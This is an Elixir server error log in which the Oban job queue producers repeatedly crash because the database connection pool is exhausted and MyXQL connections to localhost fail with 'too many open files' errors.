    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:18:14.239297Z], limit: 3, uuid: "ed8878e3-39f3-4429-a870-eeedf5687779", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:14.239302Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.3214>, refresh_timer: #Reference<0.2525715032.1068498948.3209>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:26.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:18:14.239531Z], limit: 50, uuid: "4f4b7374-3f49-4bd8-abce-8407f4618e97", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:14.239537Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114613>, refresh_timer: #Reference<0.2525715032.1077411843.247012>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:27.734000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:30.611000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:31.640000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:31.680000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:31.722000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:18:22.237231Z], limit: 10, uuid: "c3fb86f0-2809-4e5e-a4ea-d5ef965a31e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:22.237238Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114803>, refresh_timer: #Reference<0.2525715032.1121189889.114795>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:18:26.250676Z], limit: 50, uuid: "bfd534f0-032e-4297-a3f7-bc29594e1e90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:26.250684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114948>, refresh_timer: #Reference<0.2525715032.1099431938.15702>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:18:26.250991Z], limit: 3, uuid: "d4c99ef9-5b9d-4673-ac74-9b168bf42c65", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:26.250999Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114949>, refresh_timer: #Reference<0.2525715032.1099431938.15710>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:18:26.248354Z], limit: 5, uuid: "f423e4c6-c30a-4374-b8f8-dd8a1c1e9596", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:26.248361Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114947>, refresh_timer: #Reference<0.2525715032.1121189889.114937>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:18:26.247876Z], limit: 20, uuid: "5ccf2ef3-8d66-4904-ad2f-97b2ae5731e7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:26.247883Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114945>, refresh_timer: #Reference<0.2525715032.1121189889.114915>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:18:26.248131Z], limit: 5, uuid: "66c71b4d-3008-4902-ba62-f9d2cd9fe899", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:26.248137Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.114946>, refresh_timer: #Reference<0.2525715032.1121189889.114928>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:38.637000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:43.762000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:43.839000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:45.867000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:18:34.237343Z], limit: 10, uuid: "71662e91-27ea-4ed4-a437-d7b028113e31", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:34.237349Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.115155>, refresh_timer: #Reference<0.2525715032.1099431938.15804>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:47.179000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:50.159000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
